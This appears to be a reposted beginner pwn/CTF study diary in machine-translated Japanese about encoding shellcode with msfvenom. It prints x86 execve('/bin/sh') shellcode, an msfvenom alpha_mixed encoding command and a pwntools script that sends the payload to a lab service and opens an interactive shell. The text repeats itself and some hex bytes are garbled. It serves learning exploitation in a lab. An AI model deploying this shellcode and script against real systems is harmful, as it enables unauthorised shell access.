pwn学習日記Day 3基礎知識蓄積
1680 ワード
知識雑種
msfVENOM:Msfvenomはmsfフレームに付属した攻撃荷重発生器である.payload:ペイロード.payload:ターゲットシステムへの浸透に成功した後に実行されるコード.Metasploit:オープンソースのセキュリティ・ホール検出ツールです.BufferRegister:バッファレジスタ
shellcodeの変形
「x 31xc 9xf 7xe 1xb 0x 0 bx 51x 68x 2 fx 2 fx 73x 68x 68x 68x 2 fx 62x 69x 6 ex 89xe 3xcdx 80」には、base 64以外の符号化文字が多く含まれており、多くの不可視文字も含まれていることは明らかです.そのため、私たちはそれを符号化する必要があります.コマンドラインパラメータの設定
shellcodeを自分で入力する必要がありますが、msfvenomはstdinからしか読み取れないので、linuxパイプオペレータ「|」を使用して、shellcodeをpythonプログラムの出力としてpythonのstdoutからmsfvenomのstdinに転送します.さらに、エンコーダをx 86/alpha_に設定mixedは、ターゲットプラットフォームアーキテクチャなどの情報を構成し、payloadというファイルに出力します.
remote:リモート制御recv:TCP接続の他端からデータを受信send:コンピュータ関数であり、接続されたsocketにデータを送信する機能を有し、エラーがなければ、送信データの総数に戻り、そうでなければSOCKET_に戻るERROR. interactive:使用者がパラメータをインタラクティブに入力し、関数を呼び出す方法を提供します.shellcodeの書き込みに成功する場合もありますが、shellcodeは実行前にも実行時にも破壊されます.破壊が避けられない場合、shellcodeを手動で分割し、コードを記述して2つのセグメントのshellcodeを「接続」する必要があります.
コンテンツソース
i春秋月刊第六期——Linux pwn零基礎入門
転載先:https://www.cnblogs.com/luoleqi/p/10788076.html
msfVENOM:Msfvenomはmsfフレームに付属した攻撃荷重発生器である.payload:ペイロード.payload:ターゲットシステムへの浸透に成功した後に実行されるコード.Metasploit:オープンソースのセキュリティ・ホール検出ツールです.BufferRegister:バッファレジスタ
shellcodeの変形
「x 31xc 9xf 7xe 1xb 0x 0 bx 51x 68x 2 fx 2 fx 73x 68x 68x 68x 2 fx 62x 69x 6 ex 89xe 3xcdx 80」には、base 64以外の符号化文字が多く含まれており、多くの不可視文字も含まれていることは明らかです.そのため、私たちはそれを符号化する必要があります.コマンドラインパラメータの設定
python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\
x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86
--platform linux BufferRegister=EAX -o payload
shellcodeを自分で入力する必要がありますが、msfvenomはstdinからしか読み取れないので、linuxパイプオペレータ「|」を使用して、shellcodeをpythonプログラムの出力としてpythonのstdoutからmsfvenomのstdinに転送します.さらに、エンコーダをx 86/alpha_に設定mixedは、ターゲットプラットフォームアーキテクチャなどの情報を構成し、payloadというファイルに出力します.
#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6OD
oaccXU8ToE2bIbNLIXcHMOpAA")
print io.recv()
io.send(shellcode)
print io.recv()
io.interactive()
remote:リモート制御recv:TCP接続の他端からデータを受信send:コンピュータ関数であり、接続されたsocketにデータを送信する機能を有し、エラーがなければ、送信データの総数に戻り、そうでなければSOCKET_に戻るERROR. interactive:使用者がパラメータをインタラクティブに入力し、関数を呼び出す方法を提供します.shellcodeの書き込みに成功する場合もありますが、shellcodeは実行前にも実行時にも破壊されます.破壊が避けられない場合、shellcodeを手動で分割し、コードを記述して2つのセグメントのshellcodeを「接続」する必要があります.
コンテンツソース
i春秋月刊第六期——Linux pwn零基礎入門
転載先:https://www.cnblogs.com/luoleqi/p/10788076.html